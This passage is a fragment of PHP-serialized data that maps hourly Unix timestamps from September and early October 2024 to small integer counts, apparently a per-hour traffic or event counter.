00;a:1:{i:0;i:4;}i:1725433200;a:1:{i:0;i:3;}i:1725436800;a:1:{i:0;i:4;}i:1725440400;a:1:{i:0;i:4;}i:1725444000;a:1:{i:0;i:2;}i:1725447600;a:1:{i:0;i:3;}i:1725451200;a:1:{i:0;i:4;}i:1725454800;a:1:{i:0;i:2;}i:1725458400;a:1:{i:0;i:3;}i:1725462000;a:1:{i:0;i:7;}i:1725465600;a:1:{i:0;i:4;}i:1725469200;a:1:{i:0;i:6;}i:1725472800;a:1:{i:0;i:7;}i:1725476400;a:1:{i:0;i:4;}i:1725480000;a:1:{i:0;i:6;}i:1725483600;a:1:{i:0;i:6;}i:1725487200;a:1:{i:0;i:5;}i:1725490800;a:1:{i:0;i:8;}i:1725494400;a:1:{i:0;i:9;}i:1725498000;a:1:{i:0;i:15;}i:1725501600;a:1:{i:0;i:7;}i:1725505200;a:1:{i:0;i:7;}i:1725508800;a:1:{i:0;i:11;}i:1725512400;a:1:{i:0;i:16;}i:1725516000;a:1:{i:0;i:12;}i:1725519600;a:1:{i:0;i:9;}i:1725523200;a:1:{i:0;i:8;}i:1725526800;a:1:{i:0;i:8;}i:1725530400;a:1:{i:0;i:8;}i:1725534000;a:1:{i:0;i:4;}i:1725537600;a:1:{i:0;i:7;}i:1725541200;a:1:{i:0;i:6;}i:1725544800;a:1:{i:0;i:6;}i:1725548400;a:1:{i:0;i:6;}i:1725552000;a:1:{i:0;i:4;}i:1725555600;a:1:{i:0;i:3;}i:1725559200;a:1:{i:0;i:21;}i:1725562800;a:1:{i:0;i:10;}i:1725566400;a:1:{i:0;i:5;}i:1725570000;a:1:{i:0;i:4;}i:1725573600;a:1:{i:0;i:5;}i:1725577200;a:1:{i:0;i:5;}i:1725580800;a:1:{i:0;i:6;}i:1725584400;a:1:{i:0;i:5;}i:1725588000;a:1:{i:0;i:1;}i:1725591600;a:1:{i:0;i:2;}i:1725595200;a:1:{i:0;i:2;}i:1725598800;a:1:{i:0;i:16;}i:1725602400;a:1:{i:0;i:23;}i:1725606000;a:1:{i:0;i:21;}i:1725609600;a:1:{i:0;i:19;}i:1725613200;a:1:{i:0;i:19;}i:1725616800;a:1:{i:0;i:2;}i:1725620400;a:1:{i:0;i:2;}i:1725624000;a:1:{i:0;i:4;}i:1725627600;a:1:{i:0;i:6;}i:1725631200;a:1:{i:0;i:1;}i:1725634800;a:1:{i:0;i:1;}i:1725638400;a:1:{i:0;i:1;}i:1725642000;a:1:{i:0;i:1;}i:1725645600;a:1:{i:0;i:1;}i:1725652800;a:1:{i:0;i:1;}i:1725656400;a:1:{i:0;i:1;}i:1725660000;a:1:{i:0;i:1;}i:1725663600;a:1:{i:0;i:2;}i:1725667200;a:1:{i:0;i:8;}i:1725670800;a:1:{i:0;i:25;}i:1725674400;a:1:{i:0;i:6;}i:1725678000;a:1:{i:0;i:7;}i:1725681600;a:1:{i:0;i:7;}i:1725685200;a:1:{i:0;i:7;}i:1725688800;a:1:{i:0;i:6;}i:1725692400;a:1:{i:0;i:7;}i:1725696000;a:1:{i:0;i:7;}i:1725699600;a:1:{i:0;i:7;}i:1725703200;a:1:{i:0;i:6;}i:1725706800;a:1:{i:0;i:1;}i:1725710400;a:1:{i:0;i:1;}i:1725714000;a:1:{i:0;i:1;}i:1725717600;a:1:{i:0;i:1;}i:1725721200;a:1:{i:0;i:1;}i:1725724800;a:1:{i:0;i:1;}i:1725728400;a:1:{i:0;i:1;}i:1725732000;a:1:{i:0;i:1;}i:1725735600;a:1:{i:0;i:2;}i:1725739200;a:1:{i:0;i:1;}i:1725742800;a:1:{i:0;i:11;}i:1725746400;a:1:{i:0;i:10;}i:1725750000;a:1:{i:0;i:13;}i:1725753600;a:1:{i:0;i:6;}i:1725757200;a:1:{i:0;i:7;}i:1725760800;a:1:{i:0;i:8;}i:1725764400;a:1:{i:0;i:8;}i:1725768000;a:1:{i:0;i:8;}i:1725771600;a:1:{i:0;i:10;}i:1725775200;a:1:{i:0;i:8;}i:1725778800;a:1:{i:0;i:7;}i:1725782400;a:1:{i:0;i:1;}i:1725786000;a:1:{i:0;i:3;}i:1725789600;a:1:{i:0;i:4;}i:1725793200;a:1:{i:0;i:4;}i:1725796800;a:1:{i:0;i:7;}i:1725800400;a:1:{i:0;i:16;}i:1725804000;a:1:{i:0;i:5;}i:1725807600;a:1:{i:0;i:1;}i:1725811200;a:1:{i:0;i:4;}i:1725814800;a:1:{i:0;i:1;}i:1725818400;a:1:{i:0;i:1;}i:1725822000;a:1:{i:0;i:3;}i:1725825600;a:1:{i:0;i:13;}i:1725829200;a:1:{i:0;i:4;}i:1725832800;a:1:{i:0;i:1;}i:1725836400;a:1:{i:0;i:5;}i:1725840000;a:1:{i:0;i:7;}i:1725843600;a:1:{i:0;i:8;}i:1725847200;a:1:{i:0;i:6;}i:1725850800;a:1:{i:0;i:6;}i:1725854400;a:1:{i:0;i:9;}i:1725858000;a:1:{i:0;i:6;}i:1725861600;a:1:{i:0;i:5;}i:1725865200;a:1:{i:0;i:7;}i:1725868800;a:1:{i:0;i:5;}i:1725872400;a:1:{i:0;i:7;}i:1725876000;a:1:{i:0;i:4;}i:1725912000;a:1:{i:0;i:1;}i:1725922800;a:1:{i:0;i:5;}i:1725926400;a:1:{i:0;i:6;}i:1725930000;a:1:{i:0;i:5;}i:1725933600;a:1:{i:0;i:4;}i:1725937200;a:1:{i:0;i:6;}i:1725940800;a:1:{i:0;i:6;}i:1725944400;a:1:{i:0;i:4;}i:1725948000;a:1:{i:0;i:9;}i:1725951600;a:1:{i:0;i:5;}i:1725955200;a:1:{i:0;i:16;}i:1725958800;a:1:{i:0;i:11;}i:1725962400;a:1:{i:0;i:3;}i:1725984000;a:1:{i:0;i:1;}i:1725987600;a:1:{i:0;i:6;}i:1725991200;a:1:{i:0;i:4;}i:1725998400;a:1:{i:0;i:6;}i:1726002000;a:1:{i:0;i:6;}i:1726012800;a:1:{i:0;i:1;}i:1726016400;a:1:{i:0;i:1;}i:1726020000;a:1:{i:0;i:5;}i:1726023600;a:1:{i:0;i:2;}i:1726027200;a:1:{i:0;i:2;}i:1726030800;a:1:{i:0;i:3;}i:1726034400;a:1:{i:0;i:4;}i:1726038000;a:1:{i:0;i:7;}i:1726041600;a:1:{i:0;i:7;}i:1726045200;a:1:{i:0;i:7;}i:1726048800;a:1:{i:0;i:8;}i:1726052400;a:1:{i:0;i:6;}i:1726056000;a:1:{i:0;i:3;}i:1726059600;a:1:{i:0;i:3;}i:1726063200;a:1:{i:0;i:5;}i:1726066800;a:1:{i:0;i:3;}i:1726070400;a:1:{i:0;i:5;}i:1726074000;a:1:{i:0;i:4;}i:1726077600;a:1:{i:0;i:14;}i:1726081200;a:1:{i:0;i:8;}i:1726084800;a:1:{i:0;i:5;}i:1726088400;a:1:{i:0;i:4;}i:1726092000;a:1:{i:0;i:5;}i:1726095600;a:1:{i:0;i:4;}i:1726099200;a:1:{i:0;i:5;}i:1726102800;a:1:{i:0;i:10;}i:1726106400;a:1:{i:0;i:5;}i:1726110000;a:1:{i:0;i:4;}i:1726113600;a:1:{i:0;i:3;}i:1726128000;a:1:{i:0;i:2;}i:1726131600;a:1:{i:0;i:6;}i:1726135200;a:1:{i:0;i:4;}i:1726138800;a:1:{i:0;i:5;}i:1726142400;a:1:{i:0;i:5;}i:1726146000;a:1:{i:0;i:6;}i:1726149600;a:1:{i:0;i:2;}i:1726153200;a:1:{i:0;i:5;}i:1726156800;a:1:{i:0;i:17;}i:1726160400;a:1:{i:0;i:13;}i:1726164000;a:1:{i:0;i:6;}i:1726167600;a:1:{i:0;i:5;}i:1726171200;a:1:{i:0;i:4;}i:1726174800;a:1:{i:0;i:5;}i:1726178400;a:1:{i:0;i:4;}i:1726182000;a:1:{i:0;i:4;}i:1726185600;a:1:{i:0;i:4;}i:1726189200;a:1:{i:0;i:6;}i:1726192800;a:1:{i:0;i:4;}i:1726196400;a:1:{i:0;i:3;}i:1726200000;a:1:{i:0;i:4;}i:1726203600;a:1:{i:0;i:4;}i:1726207200;a:1:{i:0;i:3;}i:1726210800;a:1:{i:0;i:10;}i:1726214400;a:1:{i:0;i:12;}i:1726218000;a:1:{i:0;i:9;}i:1726225200;a:1:{i:0;i:1;}i:1726232400;a:1:{i:0;i:1;}i:1726246800;a:1:{i:0;i:1;}i:1726250400;a:1:{i:0;i:1;}i:1726257600;a:1:{i:0;i:3;}i:1726261200;a:1:{i:0;i:9;}i:1726286400;a:1:{i:0;i:1;}i:1726308000;a:1:{i:0;i:1;}i:1726311600;a:1:{i:0;i:1;}i:1726326000;a:1:{i:0;i:3;}i:1726329600;a:1:{i:0;i:11;}i:1726333200;a:1:{i:0;i:9;}i:1726336800;a:1:{i:0;i:11;}i:1726340400;a:1:{i:0;i:10;}i:1726344000;a:1:{i:0;i:10;}i:1726347600;a:1:{i:0;i:11;}i:1726351200;a:1:{i:0;i:10;}i:1726354800;a:1:{i:0;i:7;}i:1726358400;a:1:{i:0;i:11;}i:1726362000;a:1:{i:0;i:18;}i:1726365600;a:1:{i:0;i:8;}i:1726369200;a:1:{i:0;i:13;}i:1726372800;a:1:{i:0;i:9;}i:1726376400;a:1:{i:0;i:11;}i:1726380000;a:1:{i:0;i:12;}i:1726383600;a:1:{i:0;i:7;}i:1726387200;a:1:{i:0;i:3;}i:1726398000;a:1:{i:0;i:1;}i:1726401600;a:1:{i:0;i:4;}i:1726408800;a:1:{i:0;i:2;}i:1726412400;a:1:{i:0;i:4;}i:1726416000;a:1:{i:0;i:5;}i:1726419600;a:1:{i:0;i:5;}i:1726423200;a:1:{i:0;i:5;}i:1726426800;a:1:{i:0;i:5;}i:1726430400;a:1:{i:0;i:4;}i:1726434000;a:1:{i:0;i:5;}i:1726437600;a:1:{i:0;i:5;}i:1726441200;a:1:{i:0;i:5;}i:1726444800;a:1:{i:0;i:5;}i:1726448400;a:1:{i:0;i:7;}i:1726452000;a:1:{i:0;i:6;}i:1726455600;a:1:{i:0;i:6;}i:1726459200;a:1:{i:0;i:6;}i:1726462800;a:1:{i:0;i:3;}i:1726466400;a:1:{i:0;i:5;}i:1726470000;a:1:{i:0;i:9;}i:1726473600;a:1:{i:0;i:10;}i:1726477200;a:1:{i:0;i:8;}i:1726480800;a:1:{i:0;i:8;}i:1726484400;a:1:{i:0;i:8;}i:1726488000;a:1:{i:0;i:2;}i:1726506000;a:1:{i:0;i:2;}i:1726509600;a:1:{i:0;i:18;}i:1726513200;a:1:{i:0;i:21;}i:1726516800;a:1:{i:0;i:21;}i:1726520400;a:1:{i:0;i:19;}i:1726524000;a:1:{i:0;i:23;}i:1726527600;a:1:{i:0;i:20;}i:1726531200;a:1:{i:0;i:29;}i:1726534800;a:1:{i:0;i:29;}i:1726538400;a:1:{i:0;i:33;}i:1726542000;a:1:{i:0;i:25;}i:1726545600;a:1:{i:0;i:17;}i:1726549200;a:1:{i:0;i:13;}i:1726552800;a:1:{i:0;i:30;}i:1726556400;a:1:{i:0;i:9;}i:1726560000;a:1:{i:0;i:22;}i:1726563600;a:1:{i:0;i:9;}i:1726567200;a:1:{i:0;i:20;}i:1726570800;a:1:{i:0;i:8;}i:1726574400;a:1:{i:0;i:20;}i:1726581600;a:1:{i:0;i:16;}i:1726585200;a:1:{i:0;i:1;}i:1726588800;a:1:{i:0;i:14;}i:1726596000;a:1:{i:0;i:12;}i:1726603200;a:1:{i:0;i:10;}i:1726610400;a:1:{i:0;i:20;}i:1726614000;a:1:{i:0;i:3;}i:1726617600;a:1:{i:0;i:14;}i:1726621200;a:1:{i:0;i:2;}i:1726624800;a:1:{i:0;i:21;}i:1726628400;a:1:{i:0;i:9;}i:1726632000;a:1:{i:0;i:22;}i:1726635600;a:1:{i:0;i:10;}i:1726639200;a:1:{i:0;i:23;}i:1726642800;a:1:{i:0;i:23;}i:1726646400;a:1:{i:0;i:9;}i:1726650000;a:1:{i:0;i:21;}i:1726653600;a:1:{i:0;i:14;}i:1726657200;a:1:{i:0;i:22;}i:1726660800;a:1:{i:0;i:23;}i:1726664400;a:1:{i:0;i:27;}i:1726668000;a:1:{i:0;i:26;}i:1726671600;a:1:{i:0;i:4;}i:1726675200;a:1:{i:0;i:11;}i:1726682400;a:1:{i:0;i:14;}i:1726686000;a:1:{i:0;i:1;}i:1726693200;a:1:{i:0;i:19;}i:1726700400;a:1:{i:0;i:7;}i:1726707600;a:1:{i:0;i:7;}i:1726711200;a:1:{i:0;i:17;}i:1726714800;a:1:{i:0;i:18;}i:1726718400;a:1:{i:0;i:302;}i:1726722000;a:1:{i:0;i:335;}i:1726725600;a:1:{i:0;i:6;}i:1726729200;a:1:{i:0;i:24;}i:1726732800;a:1:{i:0;i:10;}i:1726736400;a:1:{i:0;i:9;}i:1726740000;a:1:{i:0;i:16;}i:1726743600;a:1:{i:0;i:21;}i:1726747200;a:1:{i:0;i:10;}i:1726750800;a:1:{i:0;i:25;}i:1726754400;a:1:{i:0;i:4;}i:1726758000;a:1:{i:0;i:10;}i:1726761600;a:1:{i:0;i:21;}i:1726765200;a:1:{i:0;i:27;}i:1726768800;a:1:{i:0;i:5;}i:1726772400;a:1:{i:0;i:20;}i:1726776000;a:1:{i:0;i:11;}i:1726779600;a:1:{i:0;i:5;}i:1726783200;a:1:{i:0;i:24;}i:1726786800;a:1:{i:0;i:14;}i:1726790400;a:1:{i:0;i:5;}i:1726794000;a:1:{i:0;i:6;}i:1726797600;a:1:{i:0;i:5;}i:1726801200;a:1:{i:0;i:6;}i:1726804800;a:1:{i:0;i:6;}i:1726808400;a:1:{i:0;i:4;}i:1726812000;a:1:{i:0;i:1;}i:1726819200;a:1:{i:0;i:2;}i:1726822800;a:1:{i:0;i:3;}i:1726826400;a:1:{i:0;i:7;}i:1726830000;a:1:{i:0;i:3;}i:1726833600;a:1:{i:0;i:2;}i:1726837200;a:1:{i:0;i:3;}i:1726840800;a:1:{i:0;i:15;}i:1726844400;a:1:{i:0;i:2;}i:1726848000;a:1:{i:0;i:2;}i:1726851600;a:1:{i:0;i:4;}i:1726855200;a:1:{i:0;i:2;}i:1726858800;a:1:{i:0;i:1;}i:1726862400;a:1:{i:0;i:3;}i:1726866000;a:1:{i:0;i:2;}i:1726869600;a:1:{i:0;i:6;}i:1726876800;a:1:{i:0;i:4;}i:1726880400;a:1:{i:0;i:3;}i:1726887600;a:1:{i:0;i:3;}i:1726891200;a:1:{i:0;i:2;}i:1726894800;a:1:{i:0;i:1;}i:1726898400;a:1:{i:0;i:3;}i:1726902000;a:1:{i:0;i:3;}i:1726905600;a:1:{i:0;i:1;}i:1726909200;a:1:{i:0;i:1;}i:1726912800;a:1:{i:0;i:3;}i:1726916400;a:1:{i:0;i:15;}i:1726920000;a:1:{i:0;i:5;}i:1726923600;a:1:{i:0;i:1;}i:1726927200;a:1:{i:0;i:4;}i:1726930800;a:1:{i:0;i:3;}i:1726934400;a:1:{i:0;i:2;}i:1726938000;a:1:{i:0;i:3;}i:1726941600;a:1:{i:0;i:3;}i:1726945200;a:1:{i:0;i:3;}i:1726948800;a:1:{i:0;i:6;}i:1726952400;a:1:{i:0;i:12;}i:1726956000;a:1:{i:0;i:8;}i:1726959600;a:1:{i:0;i:5;}i:1726963200;a:1:{i:0;i:5;}i:1726966800;a:1:{i:0;i:6;}i:1726970400;a:1:{i:0;i:6;}i:1726974000;a:1:{i:0;i:7;}i:1726977600;a:1:{i:0;i:8;}i:1726981200;a:1:{i:0;i:11;}i:1726984800;a:1:{i:0;i:8;}i:1726988400;a:1:{i:0;i:9;}i:1726992000;a:1:{i:0;i:10;}i:1726995600;a:1:{i:0;i:11;}i:1726999200;a:1:{i:0;i:8;}i:1727002800;a:1:{i:0;i:9;}i:1727006400;a:1:{i:0;i:10;}i:1727010000;a:1:{i:0;i:20;}i:1727013600;a:1:{i:0;i:9;}i:1727017200;a:1:{i:0;i:6;}i:1727020800;a:1:{i:0;i:5;}i:1727024400;a:1:{i:0;i:4;}i:1727028000;a:1:{i:0;i:7;}i:1727031600;a:1:{i:0;i:4;}i:1727035200;a:1:{i:0;i:3;}i:1727038800;a:1:{i:0;i:8;}i:1727042400;a:1:{i:0;i:2;}i:1727046000;a:1:{i:0;i:5;}i:1727049600;a:1:{i:0;i:4;}i:1727053200;a:1:{i:0;i:8;}i:1727056800;a:1:{i:0;i:8;}i:1727060400;a:1:{i:0;i:11;}i:1727064000;a:1:{i:0;i:13;}i:1727067600;a:1:{i:0;i:15;}i:1727071200;a:1:{i:0;i:12;}i:1727074800;a:1:{i:0;i:10;}i:1727078400;a:1:{i:0;i:14;}i:1727082000;a:1:{i:0;i:11;}i:1727085600;a:1:{i:0;i:10;}i:1727089200;a:1:{i:0;i:5;}i:1727092800;a:1:{i:0;i:3;}i:1727096400;a:1:{i:0;i:7;}i:1727100000;a:1:{i:0;i:2;}i:1727103600;a:1:{i:0;i:3;}i:1727107200;a:1:{i:0;i:7;}i:1727110800;a:1:{i:0;i:7;}i:1727114400;a:1:{i:0;i:3;}i:1727118000;a:1:{i:0;i:8;}i:1727121600;a:1:{i:0;i:5;}i:1727125200;a:1:{i:0;i:5;}i:1727128800;a:1:{i:0;i:7;}i:1727132400;a:1:{i:0;i:3;}i:1727136000;a:1:{i:0;i:6;}i:1727139600;a:1:{i:0;i:6;}i:1727143200;a:1:{i:0;i:7;}i:1727146800;a:1:{i:0;i:5;}i:1727150400;a:1:{i:0;i:5;}i:1727154000;a:1:{i:0;i:4;}i:1727157600;a:1:{i:0;i:7;}i:1727161200;a:1:{i:0;i:8;}i:1727164800;a:1:{i:0;i:13;}i:1727168400;a:1:{i:0;i:12;}i:1727172000;a:1:{i:0;i:10;}i:1727175600;a:1:{i:0;i:11;}i:1727179200;a:1:{i:0;i:14;}i:1727182800;a:1:{i:0;i:8;}i:1727186400;a:1:{i:0;i:7;}i:1727190000;a:1:{i:0;i:6;}i:1727193600;a:1:{i:0;i:11;}i:1727197200;a:1:{i:0;i:6;}i:1727200800;a:1:{i:0;i:5;}i:1727204400;a:1:{i:0;i:5;}i:1727208000;a:1:{i:0;i:7;}i:1727211600;a:1:{i:0;i:6;}i:1727215200;a:1:{i:0;i:4;}i:1727218800;a:1:{i:0;i:9;}i:1727222400;a:1:{i:0;i:4;}i:1727226000;a:1:{i:0;i:5;}i:1727229600;a:1:{i:0;i:4;}i:1727233200;a:1:{i:0;i:8;}i:1727236800;a:1:{i:0;i:5;}i:1727240400;a:1:{i:0;i:8;}i:1727244000;a:1:{i:0;i:14;}i:1727247600;a:1:{i:0;i:12;}i:1727251200;a:1:{i:0;i:15;}i:1727254800;a:1:{i:0;i:23;}i:1727258400;a:1:{i:0;i:23;}i:1727262000;a:1:{i:0;i:17;}i:1727265600;a:1:{i:0;i:23;}i:1727269200;a:1:{i:0;i:20;}i:1727272800;a:1:{i:0;i:12;}i:1727276400;a:1:{i:0;i:14;}i:1727280000;a:1:{i:0;i:19;}i:1727283600;a:1:{i:0;i:11;}i:1727287200;a:1:{i:0;i:8;}i:1727290800;a:1:{i:0;i:9;}i:1727294400;a:1:{i:0;i:13;}i:1727298000;a:1:{i:0;i:7;}i:1727301600;a:1:{i:0;i:9;}i:1727305200;a:1:{i:0;i:4;}i:1727308800;a:1:{i:0;i:13;}i:1727312400;a:1:{i:0;i:16;}i:1727316000;a:1:{i:0;i:14;}i:1727319600;a:1:{i:0;i:11;}i:1727323200;a:1:{i:0;i:13;}i:1727326800;a:1:{i:0;i:13;}i:1727330400;a:1:{i:0;i:11;}i:1727334000;a:1:{i:0;i:5;}i:1727337600;a:1:{i:0;i:11;}i:1727341200;a:1:{i:0;i:15;}i:1727344800;a:1:{i:0;i:12;}i:1727348400;a:1:{i:0;i:10;}i:1727352000;a:1:{i:0;i:6;}i:1727355600;a:1:{i:0;i:12;}i:1727359200;a:1:{i:0;i:9;}i:1727362800;a:1:{i:0;i:18;}i:1727366400;a:1:{i:0;i:5;}i:1727370000;a:1:{i:0;i:6;}i:1727373600;a:1:{i:0;i:15;}i:1727377200;a:1:{i:0;i:5;}i:1727380800;a:1:{i:0;i:6;}i:1727384400;a:1:{i:0;i:7;}i:1727388000;a:1:{i:0;i:14;}i:1727391600;a:1:{i:0;i:5;}i:1727395200;a:1:{i:0;i:6;}i:1727398800;a:1:{i:0;i:15;}i:1727402400;a:1:{i:0;i:14;}i:1727406000;a:1:{i:0;i:11;}i:1727409600;a:1:{i:0;i:8;}i:1727413200;a:1:{i:0;i:6;}i:1727416800;a:1:{i:0;i:7;}i:1727420400;a:1:{i:0;i:9;}i:1727424000;a:1:{i:0;i:14;}i:1727427600;a:1:{i:0;i:25;}i:1727431200;a:1:{i:0;i:13;}i:1727434800;a:1:{i:0;i:13;}i:1727438400;a:1:{i:0;i:16;}i:1727442000;a:1:{i:0;i:9;}i:1727445600;a:1:{i:0;i:3;}i:1727449200;a:1:{i:0;i:4;}i:1727452800;a:1:{i:0;i:3;}i:1727456400;a:1:{i:0;i:13;}i:1727460000;a:1:{i:0;i:4;}i:1727463600;a:1:{i:0;i:8;}i:1727467200;a:1:{i:0;i:4;}i:1727470800;a:1:{i:0;i:7;}i:1727474400;a:1:{i:0;i:18;}i:1727478000;a:1:{i:0;i:14;}i:1727481600;a:1:{i:0;i:7;}i:1727485200;a:1:{i:0;i:3;}i:1727488800;a:1:{i:0;i:5;}i:1727492400;a:1:{i:0;i:7;}i:1727496000;a:1:{i:0;i:25;}i:1727499600;a:1:{i:0;i:33;}i:1727503200;a:1:{i:0;i:32;}i:1727506800;a:1:{i:0;i:27;}i:1727510400;a:1:{i:0;i:22;}i:1727514000;a:1:{i:0;i:26;}i:1727517600;a:1:{i:0;i:37;}i:1727521200;a:1:{i:0;i:44;}i:1727524800;a:1:{i:0;i:46;}i:1727528400;a:1:{i:0;i:15;}i:1727532000;a:1:{i:0;i:31;}i:1727535600;a:1:{i:0;i:14;}i:1727539200;a:1:{i:0;i:9;}i:1727542800;a:1:{i:0;i:12;}i:1727546400;a:1:{i:0;i:13;}i:1727550000;a:1:{i:0;i:19;}i:1727553600;a:1:{i:0;i:21;}i:1727557200;a:1:{i:0;i:7;}i:1727560800;a:1:{i:0;i:14;}i:1727564400;a:1:{i:0;i:16;}i:1727568000;a:1:{i:0;i:32;}i:1727571600;a:1:{i:0;i:21;}i:1727575200;a:1:{i:0;i:24;}i:1727578800;a:1:{i:0;i:19;}i:1727582400;a:1:{i:0;i:19;}i:1727586000;a:1:{i:0;i:31;}i:1727589600;a:1:{i:0;i:25;}i:1727593200;a:1:{i:0;i:20;}i:1727596800;a:1:{i:0;i:12;}i:1727600400;a:1:{i:0;i:23;}i:1727604000;a:1:{i:0;i:34;}i:1727607600;a:1:{i:0;i:20;}i:1727611200;a:1:{i:0;i:7;}i:1727614800;a:1:{i:0;i:1;}i:1727618400;a:1:{i:0;i:2;}i:1727622000;a:1:{i:0;i:3;}i:1727625600;a:1:{i:0;i:3;}i:1727629200;a:1:{i:0;i:434;}i:1727632800;a:1:{i:0;i:120;}i:1727636400;a:1:{i:0;i:3;}i:1727640000;a:1:{i:0;i:3;}i:1727643600;a:1:{i:0;i:6;}i:1727647200;a:1:{i:0;i:7;}i:1727650800;a:1:{i:0;i:15;}i:1727654400;a:1:{i:0;i:3;}i:1727658000;a:1:{i:0;i:8;}i:1727661600;a:1:{i:0;i:8;}i:1727665200;a:1:{i:0;i:7;}i:1727668800;a:1:{i:0;i:7;}i:1727672400;a:1:{i:0;i:7;}i:1727676000;a:1:{i:0;i:6;}i:1727679600;a:1:{i:0;i:10;}i:1727683200;a:1:{i:0;i:16;}i:1727686800;a:1:{i:0;i:5;}i:1727690400;a:1:{i:0;i:6;}i:1727694000;a:1:{i:0;i:6;}i:1727697600;a:1:{i:0;i:4;}i:1727701200;a:1:{i:0;i:2;}i:1727704800;a:1:{i:0;i:3;}i:1727708400;a:1:{i:0;i:45;}i:1727712000;a:1:{i:0;i:3;}i:1727715600;a:1:{i:0;i:2;}i:1727719200;a:1:{i:0;i:4;}i:1727722800;a:1:{i:0;i:2;}i:1727726400;a:1:{i:0;i:5;}i:1727730000;a:1:{i:0;i:2;}i:1727733600;a:1:{i:0;i:2;}i:1727737200;a:1:{i:0;i:1;}i:1727740800;a:1:{i:0;i:3;}i:1727744400;a:1:{i:0;i:7;}i:1727748000;a:1:{i:0;i:5;}i:1727751600;a:1:{i:0;i:5;}i:1727755200;a:1:{i:0;i:4;}i:1727758800;a:1:{i:0;i:4;}i:1727762400;a:1:{i:0;i:5;}i:1727766000;a:1:{i:0;i:5;}i:1727769600;a:1:{i:0;i:4;}i:1727773200;a:1:{i:0;i:5;}i:1727776800;a:1:{i:0;i:6;}i:1727780400;a:1:{i:0;i:5;}i:1727784000;a:1:{i:0;i:14;}i:1727787600;a:1:{i:0;i:6;}i:1727791200;a:1:{i:0;i:5;}i:1727794800;a:1:{i:0;i:4;}i:1727798400;a:1:{i:0;i:1;}i:1727802000;a:1:{i:0;i:5;}i:1727805600;a:1:{i:0;i:5;}i:1727809200;a:1:{i:0;i:3;}i:1727812800;a:1:{i:0;i:1;}i:1727816400;a:1:{i:0;i:1;}i:1727856000;a:1:{i:0;i:6;}i:1727859600;a:1:{i:0;i:9;}i:1727899200;a:1:{i:0;i:16;}i:1727902800;a:1:{i:0;i:6;}i:1727906400;a:1:{i:0;i:3;}i:1727910000;a:1:{i:0;i:3;}i:1727913600;a:1:{i:0;i:3;}i:1727917200;a:1:{i:0;i:2;}i:1727920800;a:1:{i:0;i:2;}i:1727924400;a:1:{i:0;i:5;}i:1727928000;a:1:{i:0;i:7;}i:1727953200;a:1:{i:0;i:1;}i:1727985600;a:1:{i:0;i:1;}i:1728003600;a:1:{i:0;i:3;}i:1728007200;a:1:{i:0;i:12;}i:1728021600;a:1:{i:0;i:6;}i:1728025200;a:1:{i:0;i:9;}i:1728032400;a:1:{i:0;i:1;}i:1728036000;a:1:{i:0;i:4;}i:1728039600;a:1:{i:0;i:15;}i:1728043200;a:1:{i:0;i:10;}i:1728046800;a:1:{i:0;i:21;}i:1728050400;a:1:{i:0;i:8;}i:1728054000;a:1:{i:0;i:16;}i:1728057600;a:1:{i:0;i:7;}i:1728061200;a:1:{i:0;i:8;}i:1728064800;a:1:{i:0;i:20;}i:1728068400;a:1:{i:0;i:8;}i:1728072000;a:1:{i:0;i:7;}i:1728075600;a:1:{i:0;i:17;}i:1728079200;a:1:{i:0;i:6;}i:1728082800;a:1:{i:0;i:6;}i:1728086400;a:1:{i:0;i:7;}i:1728090000;a:1:{i:0;i:2;}i:1728093600;a:1:{i:0;i:16;}i:1728097200;a:1:{i:0;i:2;}i:1728100800;a:1:{i:0;i:3;}i:1728104400;a:1:{i:0;i:9;}i:1728108000;a:1:{i:0;i:3;}i:1728111600;a:1:{i:0;i:3;}i:1728115200;a:1:{i:0;i:3;}i:1728118800;a:1:{i:0;i:15;}i:1728122400;a:1:{i:0;i:7;}i:1728126000;a:1:{i:0;i:7;}i:1728129600;a:1:{i:0;i:23;}i:1728133200;a:1:{i:0;i:5;}i:1728136800;a:1:{i:0;i:3;}i:1728140400;a:1:{i:0;i:1;}i:1728144000;a:1:{i:0;i:1;}i:1728147600;a:1:{i:0;i:2;}i:1728151200;a:1:{i:0;i:3;}i:1728154800;a:1:{i:0;i:15;}i:1728158400;a:1:{i:0;i:12;}i:1728162000;a:1:{i:0;i:10;}i:1728165600;a:1:{i:0;i:3;}i:1728169200;a:1:{i:0;i:3;}i:1728172800;a:1:{i:0;i:3;}i:1728176400;a:1:{i:0;i:11;}i:1728180000;a:1:{i:0;i:2;}i:1728183600;a:1:{i:0;i:2;}i:1728187200;a:1:{i:0;i:2;}i:1728190800;a:1:{i:0;i:4;}i:1728194400;a:1:{i:0;i:13;}i:1728198000;a:1:{i:0;i:2;}i:1728201600;a:1:{i:0;i:2;}i:1728205200;a:1:{i:0;i:15;}i:1728208800;a:1:{i:0;i:13;}i:1728212400;a:1:{i:0;i:2;}i:1728216000;a:1:{i:0;i:1;}i:1728219600;a:1:{i:0;i:3;}i:1728223200;a:1:{i:0;i:11;}i:1728226800;a:1:{i:0;i:11;}i:1728230400;a:1:{i:0;i:1;}i:1728234000;a:1:{i:0;i:1;}i:1728237600;a:1:{i:0;i:16;}i:1728241200;a:1:{i:0;i:15;}i:1728244800;a:1:{i:0;i:20;}i:1728248400;a:1:{i:0;i:12;}i:1728252000;a:1:{i:0;i:4;}i:1728255600;a:1:{i:0;i:3;}i:1728259200;a:1:{i:0;i:17;}i:1728262800;a:1:{i:0;i:3;}i:1728266400;a:1:{i:0;i:4;}i:1728270000;a:1:{i:0;i:3;}i:1728273600;a:1:{i:0;i:4;}i:1728277200;a:1:{i:0;i:11;}i:1728280800;a:1:{i:0;i:22;}i:1728284400;a:1:{i:0;i:13;}i:1728288000;a:1:{i:0;i:5;}i:1728291600;a:1:{i:0;i:6;}i:1728295200;a:1:{i:0;i:12;}i:1728298800;a:1:{i:0;i:19;}i:1728302400;a:1:{i:0;i:9;}i:1728306000;a:1:{i:0;i:6;}i:1728309600;a:1:{i:0;i:6;}i:1728313200;a:1:{i:0;i:5;}i:1728316800;a:1:{i:0;i:14;}i:1728320400;a:1:{i:0;i:5;}i:1728324000;a:1:{i:0;i:5;}i:1728327600;a:1:{i:0;i:6;}i:1728331200;a:1:{i:0;i:28;}i:1728334800;a:1:{i:0;i:4;}i:1728338400;a:1:{i:0;i:6;}i:1728342000;a:1:{i:0;i:13;}i:1728345600;a:1:{i:0;i:13;}i:1728349200;a:1:{i:0;i:6;}i:1728352800;a:1:{i:0;i:4;}i:1728356400;a:1:{i:0;i:3;}i:1728360000;a:1:{i:0;i:6;}i:1728363600;a:1:{i:0;i:12;}i:1728367200;a:1:{i:0;i:5;}i:1728370800;a:1: